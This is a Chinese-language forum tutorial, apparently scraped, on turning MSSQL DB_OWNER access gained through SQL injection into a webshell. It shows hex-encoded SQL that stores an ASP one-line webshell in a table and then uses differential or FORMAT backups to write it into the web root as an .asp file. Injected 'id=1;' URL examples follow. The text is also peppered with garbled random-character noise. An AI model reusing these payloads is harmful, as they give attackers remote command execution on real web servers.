DB_OWNER权限得到webshell的两点改进:+ \( q3 ] t5 L8 V% @
& m2 i' W E" o/ B+ |6 _7 {
减少备份文件大小,得到可执行的webshell成功率提高不少
) s8 V2 r- U9 H* `2 _8 g一利用差异备份
8 H) S" K+ r# m1 i7 W5 G3 o$ W加一个参数WITH DIFFERENTIAL( [% Q7 R1 p* j
4 I6 C2 G1 O2 n* r
1; j7 a8 ~. j" \: \6 R
2. x4 Q @* x V$ b, Y5 y5 a4 m# H
3
/ c$ [* i O/ V0 a" y4& Q6 }/ w0 M. _$ V$ W9 t( c" @% p4 ~
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s# K+ w) R5 Q" t8 U/ J
create table [dbo].[xiaolu] ([cmd] [image]);* v9 c7 a& h r7 J; u
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" O5 L' w/ S5 b9 c& a8 sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
* ~1 G3 c, y I+ K* D# e
! ]* Q5 V- b. ~" q0 h3 {# t9 w( L& x# x二利用完全FORMAT& n: J- J7 _" r) @2 X, `. Y5 u
加一个参数WITH FROMAT
1 c. ]# Q8 Q* V有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
2 e! q$ F' R2 ?0 \/ t* E4 M% ? m: g9 X8 r# f d# p
1
/ F+ P m$ x* G L2. `6 s6 i9 g0 p& k
3; C" g5 ~, u' |9 g: C: e5 t; o$ Y
4
$ f$ `2 O) a, [6 A declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 s8 m: I3 K; D. X5 J5 N. l+ lcreate table [dbo].[xiaolu] ([cmd] [image]);' R, ^9 S! }5 z0 \
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)7 n' D8 d3 D4 x; Y) j+ S" D
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
4 z9 d' S" [) ^: G1 B+ c' p2 R. T5 z4 M9 z
总的来说就是那么简单几句,下面以备份数据库model为例子5 m: ?6 I% \3 F' e9 P' w% \
1 |* U6 R& Z T8 ]7 i
: Y- F/ n% J3 e; ~+ j& J s
18 l, ]' I, C0 P4 M
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') g( o! c7 F8 ?3 p/ o
1 ]/ F; C$ ~) g! {: l) j
2/ i6 u" e. {7 ], F8 L9 e2 E
- E6 [& I: a' I6 B; f
19 H% s2 Y; G/ f7 F: E% @( j% D! b
id=1;backup database model to disk='你的路径‘ with differential,format;-- . V0 D( h8 C" m8 K8 F
|